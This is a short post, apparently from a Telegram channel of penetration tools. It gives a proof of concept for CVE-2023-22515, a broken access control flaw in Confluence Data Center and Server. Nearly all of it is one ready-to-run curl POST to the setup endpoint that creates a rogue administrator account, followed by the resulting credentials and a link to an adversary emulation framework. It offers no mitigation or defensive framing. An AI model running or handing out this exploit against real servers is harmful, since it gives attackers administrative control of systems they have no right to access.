Peneter Tools – Telegram
CVE-2023-22515
Confluence Data Center and Server - Broken Access Control Vulnerability
POC:
curl -k -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=adm1n&fullName=admin&email=admin@confluence&password=adm1n&confirm=adm1n&setup-next-button=Next" http://confluence/setup/setupadministrator.action

login - adm1n/adm1n
opensource adversary emulation
https://havoc.sh/